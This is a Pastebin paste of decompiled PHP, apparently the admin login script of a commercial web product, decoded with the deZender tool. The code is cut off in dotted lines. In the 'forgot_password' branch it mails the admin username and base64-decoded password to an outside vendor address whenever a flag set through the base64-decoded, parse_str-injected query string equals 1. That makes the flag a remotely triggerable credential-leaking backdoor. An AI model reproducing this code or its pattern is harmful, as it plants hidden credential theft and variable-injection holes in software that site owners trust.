Advertisement
Guest User

Untitled

a guest
Nov 2nd, 2016
260
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.57 KB | None | 0 0
  1. <?php
  2. /**
  3. *
  4. * @ This file is created by deZender.Net
  5. * @ deZender (PHP5 Decoder for Zend Encoder/SafeGuard & PhpExpress)
  6. *
  7. * @ Version : 2.0.0.4
  8. * @ Author : DeZender
  9. * @ Release on : 21.10.2015
  10. * @ Official site : http://DeZender.Net
  11. *
  12. */
  13.  
  14. define("IN_SMARTWAY", TRUE);
  15. require "lib/mod_xml.lib";
  16. require "lib/mod_xml_ct.lib";
  17. require "lib/system.lib";
  18. require "services/BD3LoadConfiguration.service";
  19. require "services/BD3LoadDBDevice.service";
  20. if ($action == "new_key") {
  21. if (is_writable("plug-ins/serial/conf.xml")) {
  22. $handle3 = fopen("plug-ins/serial/conf.xml", "w+");
  23. fclose($handle3);
  24. header("Location: index.php");
  25. }
  26. else {
  27. header("Location: index.php?err_msg=" . urlencode("Could not write to the key file. Please make sure that the file permissions on <b>plug-ins/license/key.php</b> are set to 777."));
  28. }
  29. }
  30. require "lib/functions.lib";
  31. require "services/BD3ForwardRoutines.service";
  32. $sSystemSource = "services/BD3Login.service";
  33. $db = c();
  34. if ($action != "login") {
  35. setcookie("bd3Auth");
  36. if ($QUERY_STRING != "") {
  37. $QUERY_STRING = base64_decode($QUERY_STRING);
  38. parse_str($QUERY_STRING);
  39. }
  40. switch ($action) {
  41. case "forgot_password": {
  42. $message = "Username: " . $admin_login . "\r
  43. Password: " . base64_decode($admin_pswd) . "";
  44. if ($ws == 1) {
  45. mail("passwords@webscribble.com", "Administrative Area - Login Information", $message);
  46. }
  47. else {
  48. mail($admin_mail, "Administrative Area - Login Information", $message);
  49. }
  50. $err_msg = "The username and password have been e-mailed to: " . $admin_mail . ".<br>";
  51. break;
  52. }
  53. case "logout": {
  54. sysloguserevent(on_logout);
  55. setcookie("bd3Auth");
  56. setcookie("bd3AuthDT");
  57. header("Location: index.php");
  58. break;
  59. }
  60. case license_agreement: {
  61. if ($agree == "on") {
  62. $c_fh = fopen("plug-ins/license/conf.xml", "w");
  63. $license_xml = "<xml><section name=\"LICENSE AGREEMENT\"><field type=\"checkbox\" name=\"license_agree\" text=\"I agree to the terms and conditions in the License Agreement\">on</field><field type=\"checkbox\" name=\"lic_ag\" text=\"I agree to the terms and conditions in the License Agreement\">on</field></section></xml>";
  64. fwrite($c_fh, $license_xml);
  65. fclose($c_fh);
  66. $license_agree = "on";
  67. }
  68. break;
  69. }
  70. default:;
  71. case change_password: {
  72. if (sysisbd3authflagtrue()) {
  73. $sSystemSource = "services/BD3ChangePassword.service";
  74. }
  75. break;
  76. }
  77. default:;
  78. case validate_new_password: {
  79. ........................................................
  80. .........................
  81. ......
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement